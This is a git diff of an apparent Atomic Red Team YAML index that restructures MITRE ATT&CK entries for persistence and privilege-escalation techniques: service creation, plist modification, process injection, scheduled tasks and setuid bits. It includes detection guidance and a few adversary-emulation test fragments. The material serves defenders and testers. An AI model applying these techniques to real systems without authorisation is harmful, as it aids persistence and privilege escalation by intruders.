Services may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: persistence - kill_chain_name: mitre-attack - - phase_name: privilege-escalation - kill_chain_name: mitre-attack - id: attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790 name: New Service - created: '2017-05-31T21:30:45.613Z' - x_mitre_version: '1.0' - type: attack-pattern description: "When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service's configuration information, including the file path to @@ -11781,11 +12027,53 @@ privilege-escalation: SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1035)." + id: attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790 + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: |- + Monitor service creation through changes in the Registry and common utilities using command-line invocation. Creation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017) (Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. + + Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. + + Monitor processes and command-line arguments for actions that could create services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Pedro Harrison + created: '2017-05-31T21:30:45.613Z' x_mitre_effective_permissions: - SYSTEM - x_mitre_permissions_required: - - Administrator - - SYSTEM + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + external_references: + - external_id: T1050 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1050 + - source_name: capec + external_id: CAPEC-550 + url: https://capec.mitre.org/data/definitions/550.html + - source_name: TechNet Services + description: Microsoft. (n.d.). Services. Retrieved June 7, 2016. + url: https://technet.microsoft.com/en-us/library/cc772408.aspx + - source_name: Microsoft 4697 APR 2017 + description: 'Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service + was installed in the system. Retrieved August 7, 2018.' + url: https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697 + - source_name: Microsoft Windows Event Forwarding FEB 2018 + description: Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding + to help with intrusion detection. Retrieved August 7, 2018. + url: https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection + - source_name: TechNet Autoruns + description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. + Retrieved June 6, 2016. + url: https://technet.microsoft.com/en-us/sysinternals/bb963902 + modified: '2019-07-18T16:43:25.906Z' identifier: T1050 atomic_tests: - name: Service Installation @@ -11836,44 +12124,14 @@ privilege-escalation: (Get-WmiObject Win32_Service -filter "name='#{service_name}'").Delete() T1150: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1150 - source_name: mitre-attack - external_id: T1150 - - url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ - source_name: Sofacy Komplex Trojan - description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). - Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_defense_bypassed: - - Application whitelisting - - Process whitelisting - - Whitelisting by file name or path x_mitre_data_sources: - File monitoring - Process monitoring - Process command-line parameters - modified: '2019-02-19T16:27:45.214Z' - x_mitre_detection: |- - File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like "Knock Knock" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed. - - Monitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - macOS - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: persistence - kill_chain_name: mitre-attack - - phase_name: privilege-escalation - kill_chain_name: mitre-attack - id: attack-pattern--06780952-177c-4247-b978-79c357fb311f + x_mitre_permissions_required: + - User + - Administrator name: Plist Modification - created: '2017-12-14T16:46:06.044Z' - x_mitre_version: '1.0' - type: attack-pattern description: "Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded @@ -11885,9 +12143,39 @@ privilege-escalation: files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)" - x_mitre_permissions_required: - - User - - Administrator + id: attack-pattern--06780952-177c-4247-b978-79c357fb311f + x_mitre_platforms: + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: |- + File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like "Knock Knock" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed. + + Monitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + modified: '2019-06-25T11:58:11.559Z' + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + external_references: + - external_id: T1150 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1150 + - source_name: Sofacy Komplex Trojan + description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). + Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. + url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ + x_mitre_defense_bypassed: + - Application whitelisting + - Process whitelisting + - Whitelisting by file name or path identifier: T1150 atomic_tests: - name: Plist Modification @@ -11910,88 +12198,11 @@ privilege-escalation: 2. Subsequently, follow the steps for adding and running via [Launch Agent](Persistence/Launch_Agent.md) T1055: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1055 - source_name: mitre-attack - external_id: T1055 - - url: https://capec.mitre.org/data/definitions/242.html - source_name: capec - external_id: CAPEC-242 - - url: https://github.com/mattifestation/PowerSploit - source_name: Powersploit - description: PowerSploit. (n.d.). Retrieved December 4, 2014. - - url: https://www.endgame.com/blog/technical-blog/hunting-memory - source_name: Endgame HuntingNMemory June 2017 - description: Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December - 7, 2017. - - url: https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx - source_name: Microsoft APC - description: Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December - 8, 2017. - - url: https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows - source_name: ENSIL AtomBombing Oct 2016 - description: 'Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE - INJECTION FOR WINDOWS. Retrieved December 8, 2017.' - - url: https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx - source_name: Microsoft Atom Table - description: Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017. - - url: https://docs.microsoft.com/sysinternals/downloads/sysmon - source_name: Microsoft Sysmon v6 May 2017 - description: Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved - December 13, 2017. - - url: https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html - source_name: FireEye TLS Nov 2017 - description: Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif - Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. - Retrieved December 18, 2017. - - url: https://www.datawire.io/code-injection-on-linux-and-macos/ - source_name: Datawire Code Injection - description: 'Turner-Trauring, I. (2017, April 18). “This will only hurt for - a moment”: code injection on Linux and macOS with LD_PRELOAD. Retrieved - December 20, 2017.' - - url: http://hick.org/code/skape/papers/needle.txt - source_name: Uninformed Needle - description: skape. (2003, January 19). Linux x86 run-time process manipulation. - Retrieved December 20, 2017. - - url: http://phrack.org/issues/51/8.html - source_name: Phrack halfdead 1997 - description: halflife. (1997, September 1). Shared Library Redirection Techniques. - Retrieved December 20, 2017. - - url: http://vxer.org/lib/vrn00.html - source_name: VDSO hijack 2009 - description: O'Neill, R. (2009, May). Modern Day ELF Runtime infection via - GOT poisoning. Retrieved December 20, 2017. - - source_name: ArtOfMemoryForensics - description: 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: - Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved - December 20, 2017.' - - url: https://www.gnu.org/software/acct/ - source_name: GNU Acct - description: GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved - December 20, 2017. - - url: https://access.redhat.com/documentation/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing - source_name: RHEL auditd - description: Jahoda, M. et al.. (2017, March 14). redhat Security Guide - - Chapter 7 - System Auditing. Retrieved December 20, 2017. - - url: http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html - source_name: Chokepoint preload rootkits - description: stderr. (2014, February 14). Detecting Userland Preload Rootkits. - Retrieved December 20, 2017. - - url: https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/ - source_name: CyberBit Early Bird Apr 2018 - description: Gavriel, H. & Erbesfeld, B. (2018, April 11). New ‘Early Bird’ - Code Injection Technique Discovered. Retrieved May 24, 2018. - - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process - source_name: Endgame Process Injection July 2017 - description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: - A Technical Survey Of Common And Trending Process Injection Techniques. - Retrieved December 7, 2017.' - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Anastasios Pingios - - Christiaan Beek, @ChristiaanBeek - - Ryan Becwar + x_mitre_permissions_required: + - User + - Administrator + - SYSTEM + - root x_mitre_data_sources: - API monitoring - Windows Registry @@ -11999,33 +12210,7 @@ privilege-escalation: - DLL monitoring - Process monitoring - Named Pipes - modified: '2018-10-31T13:45:13.024Z' - x_mitre_detection: |- - Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Endgame Process Injection July 2017) - - Monitoring for Linux specific calls such as the ptrace system call, the use of LD_PRELOAD environment variable, or dlfcn dynamic linking API calls, should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods. (Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) - - Monitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules. (Citation: Microsoft Sysmon v6 May 2017) - - Monitor processes and command-line arguments for actions that could be done before or after code injection has occurred and correlate the information with related event information. Code injection may also be performed using [PowerShell](https://attack.mitre.org/techniques/T1086) with tools such as PowerSploit, (Citation: Powersploit) so additional PowerShell monitoring may be required to cover known implementations of this behavior. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: privilege-escalation - kill_chain_name: mitre-attack - x_mitre_defense_bypassed: - - Process whitelisting - - Anti-virus - id: attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d name: Process Injection - created: '2017-05-31T21:30:47.843Z' - x_mitre_version: '1.0' - type: attack-pattern description: |- Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. @@ -12049,16 +12234,119 @@ privilege-escalation: * **VDSO hijacking** performs runtime injection on ELF binaries by manipulating code stubs mapped in from the linux-vdso.so shared object. (Citation: VDSO hijack 2009) Malware commonly utilizes process injection to access system resources through which Persistence and other environment modifications can be made. More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. + id: attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d + modified: '2019-07-18T17:27:02.580Z' + x_mitre_platforms: + - Linux + - macOS + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: |- + Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Endgame Process Injection July 2017) + + Monitoring for Linux specific calls such as the ptrace system call, the use of LD_PRELOAD environment variable, or dlfcn dynamic linking API calls, should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods. (Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) + + Monitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules. (Citation: Microsoft Sysmon v6 May 2017) + + Monitor processes and command-line arguments for actions that could be done before or after code injection has occurred and correlate the information with related event information. Code injection may also be performed using [PowerShell](https://attack.mitre.org/techniques/T1086) with tools such as PowerSploit, (Citation: Powersploit) so additional PowerShell monitoring may be required to cover known implementations of this behavior. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Anastasios Pingios + - Christiaan Beek, @ChristiaanBeek + - Ryan Becwar + created: '2017-05-31T21:30:47.843Z' x_mitre_effective_permissions: - User - Administrator - SYSTEM - root - x_mitre_permissions_required: - - User - - Administrator - - SYSTEM - - root + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + external_references: + - external_id: T1055 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1055 + - source_name: capec + external_id: CAPEC-640 + url: https://capec.mitre.org/data/definitions/640.html + - source_name: Endgame Process Injection July 2017 + description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: + A Technical Survey Of Common And Trending Process Injection Techniques. + Retrieved December 7, 2017.' + url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process + - source_name: Endgame HuntingNMemory June 2017 + description: Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December + 7, 2017. + url: https://www.endgame.com/blog/technical-blog/hunting-memory + - source_name: Microsoft APC + description: Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December + 8, 2017. + url: https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx + - source_name: CyberBit Early Bird Apr 2018 + description: Gavriel, H. & Erbesfeld, B. (2018, April 11). New ‘Early Bird’ + Code Injection Technique Discovered. Retrieved May 24, 2018. + url: https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/ + - source_name: ENSIL AtomBombing Oct 2016 + description: 'Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE + INJECTION FOR WINDOWS. Retrieved December 8, 2017.' + url: https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows + - source_name: Microsoft Atom Table + description: Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017. + url: https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx + - source_name: FireEye TLS Nov 2017 + description: Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif + Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. + Retrieved December 18, 2017. + url: https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html + - source_name: Datawire Code Injection + description: 'Turner-Trauring, I. (2017, April 18). “This will only hurt for + a moment”: code injection on Linux and macOS with LD_PRELOAD. Retrieved + December 20, 2017.' + url: https://www.datawire.io/code-injection-on-linux-and-macos/ + - source_name: Uninformed Needle + description: skape. (2003, January 19). Linux x86 run-time process manipulation. + Retrieved December 20, 2017. + url: http://hick.org/code/skape/papers/needle.txt + - source_name: Phrack halfdead 1997 + description: halflife. (1997, September 1). Shared Library Redirection Techniques. + Retrieved December 20, 2017. + url: http://phrack.org/issues/51/8.html + - source_name: VDSO hijack 2009 + description: O'Neill, R. (2009, May). Modern Day ELF Runtime infection via + GOT poisoning. Retrieved December 20, 2017. + url: http://vxer.org/lib/vrn00.html + - source_name: ArtOfMemoryForensics + description: 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: + Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved + December 20, 2017.' + - source_name: GNU Acct + description: GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved + December 20, 2017. + url: https://www.gnu.org/software/acct/ + - source_name: RHEL auditd + description: Jahoda, M. et al.. (2017, March 14). redhat Security Guide - + Chapter 7 - System Auditing. Retrieved December 20, 2017. + url: https://access.redhat.com/documentation/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing + - source_name: Chokepoint preload rootkits + description: stderr. (2014, February 14). Detecting Userland Preload Rootkits. + Retrieved December 20, 2017. + url: http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html + - source_name: Microsoft Sysmon v6 May 2017 + description: Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved + December 13, 2017. + url: https://docs.microsoft.com/sysinternals/downloads/sysmon + - source_name: Powersploit + description: PowerSploit. (n.d.). Retrieved December 4, 2014. + url: https://github.com/mattifestation/PowerSploit + x_mitre_defense_bypassed: + - Process whitelisting + - Anti-virus identifier: T1055 atomic_tests: - name: Process Injection via mavinject.exe @@ -12143,39 +12431,6 @@ privilege-escalation: command: ".\\bin\\#{exe_binary}\n" T1053: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1053 - source_name: mitre-attack - external_id: T1053 - - url: https://capec.mitre.org/data/definitions/557.html - source_name: capec - external_id: CAPEC-557 - - url: https://technet.microsoft.com/en-us/library/cc785125.aspx - source_name: TechNet Task Scheduler Security - description: Microsoft. (2005, January 21). Task Scheduler and security. Retrieved - June 8, 2016. - - url: https://technet.microsoft.com/en-us/sysinternals/bb963902 - source_name: TechNet Autoruns - description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. - Retrieved June 6, 2016. - - url: https://twitter.com/leoloobeek/status/939248813465853953 - source_name: Twitter Leoloobeek Scheduled Task - description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved - December 12, 2017. - - url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen - source_name: TechNet Forum Scheduled Task Operational Setting - description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention - settings. Retrieved December 12, 2017. - - url: https://technet.microsoft.com/library/dd315590.aspx - source_name: TechNet Scheduled Task Events - description: Microsoft. (n.d.). General Task Registration. Retrieved December - 12, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Leo Loobeek, @leoloobeek - - Travis Smith, Tripwire - - Alain Homewood, Insomnia Security x_mitre_permissions_required: - Administrator - SYSTEM @@ -12185,43 +12440,84 @@ privilege-escalation: - Process monitoring - Process command-line parameters - Windows event logs - modified: '2018-10-17T00:14:20.652Z' + name: Scheduled Task + description: |- + Utilities such as [at](https://attack.mitre.org/software/S0110) and [schtasks](https://attack.mitre.org/software/S0111), along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. Scheduling a task on a remote system typically required being a member of the Administrators group on the remote system. (Citation: TechNet Task Scheduler Security) + + An adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence, to conduct remote Execution as part of Lateral Movement, to gain SYSTEM privileges, or to run a process under the context of a specified account. + x_mitre_remote_support: true + id: attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9 + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.1' + type: attack-pattern x_mitre_detection: |- Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. - Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events) + Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10) - * Event ID 106 - Scheduled task registered - * Event ID 140 - Scheduled task updated - * Event ID 141 - Scheduled task removed + * Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered + * Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated + * Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted + * Event ID 4698 on Windows 10, Server 2016 - Scheduled task created + * Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled + * Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) Look for changes to tasks that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Monitor processes and command-line arguments for actions that could be taken to create tasks. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data. created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: execution - kill_chain_name: mitre-attack - - phase_name: persistence - kill_chain_name: mitre-attack - - phase_name: privilege-escalation - kill_chain_name: mitre-attack - id: attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9 - name: Scheduled Task + x_mitre_contributors: + - Prashant Verma, Paladion + - Leo Loobeek, @leoloobeek + - Travis Smith, Tripwire + - Alain Homewood, Insomnia Security created: '2017-05-31T21:30:46.977Z' - x_mitre_version: '1.0' - x_mitre_remote_support: true - type: attack-pattern - description: |- - Utilities such as [at](https://attack.mitre.org/software/S0110) and [schtasks](https://attack.mitre.org/software/S0111), along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. Scheduling a task on a remote system typically required being a member of the Administrators group on the the remote system. (Citation: TechNet Task Scheduler Security) - - An adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence, to conduct remote Execution as part of Lateral Movement, to gain SYSTEM privileges, or to run a process under the context of a specified account. x_mitre_effective_permissions: - SYSTEM - Administrator - User + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: execution + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + external_references: + - external_id: T1053 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1053 + - source_name: capec + external_id: CAPEC-557 + url: https://capec.mitre.org/data/definitions/557.html + - source_name: TechNet Task Scheduler Security + description: Microsoft. (2005, January 21). Task Scheduler and security. Retrieved + June 8, 2016. + url: https://technet.microsoft.com/en-us/library/cc785125.aspx + - source_name: Twitter Leoloobeek Scheduled Task + description: Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved + December 12, 2017. + url: https://twitter.com/leoloobeek/status/939248813465853953 + - source_name: TechNet Forum Scheduled Task Operational Setting + description: Satyajit321. (2015, November 3). Scheduled Tasks History Retention + settings. Retrieved December 12, 2017. + url: https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen + - source_name: TechNet Scheduled Task Events + description: Microsoft. (n.d.). General Task Registration. Retrieved December + 12, 2017. + url: https://technet.microsoft.com/library/dd315590.aspx + - description: Microsoft. (2017, May 28). Audit Other Object Access Events. + Retrieved June 27, 2019. + source_name: Microsoft Scheduled Task Events Win10 + url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events + - description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. + Retrieved June 6, 2016. + source_name: TechNet Autoruns + url: https://technet.microsoft.com/en-us/sysinternals/bb963902 + modified: '2019-07-25T19:04:10.980Z' identifier: T1053 atomic_tests: - name: At.exe Scheduled task @@ -12290,51 +12586,51 @@ privilege-escalation: ' T1166: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1166 - source_name: mitre-attack - external_id: T1166 - - url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/ - source_name: OSX Keydnap malware - description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware - is hungry for credentials. Retrieved July 3, 2017. - - url: http://man7.org/linux/man-pages/man2/setuid.2.html - source_name: setuid man page - description: Michael Kerrisk. (2017, September 15). Linux Programmer's Manual. - Retrieved September 21, 2018. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_data_sources: - File monitoring - Process monitoring - Process command-line parameters - modified: '2018-10-31T13:45:13.024Z' - x_mitre_detection: Monitor the file system for files that have the setuid or - setgid bits set. Monitor for execution of utilities, like chmod, and their - command-line arguments to look for setuid or setguid bits being set. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - kill_chain_phases: - - phase_name: privilege-escalation - kill_chain_name: mitre-attack - - phase_name: persistence - kill_chain_name: mitre-attack - id: attack-pattern--c0df6533-30ee-4a4a-9c6d-17af5abdf0b2 + x_mitre_permissions_required: + - User name: Setuid and Setgid - created: '2017-12-14T16:46:06.044Z' - x_mitre_version: '1.0' - type: attack-pattern description: |- When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively (Citation: setuid man page). Normally an application is run in the current user’s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an "s" instead of an "x" when viewing a file's attributes via ls -l. The chmod program can set these bits with via bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file]. An adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user’s context. Additionally, adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future (Citation: OSX Keydnap malware). + id: attack-pattern--c0df6533-30ee-4a4a-9c6d-17af5abdf0b2 + x_mitre_platforms: + - Linux + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: Monitor the file system for files that have the setuid or + setgid bits set. Monitor for execution of utilities, like chmod, and their + command-line arguments to look for setuid or setguid bits being set. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-12-14T16:46:06.044Z' x_mitre_effective_permissions: - Administrator - root - x_mitre_permissions_required: - - User + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + - kill_chain_name: mitre-attack + phase_name: persistence + external_references: + - external_id: T1166 + source_name: mitre-attack + 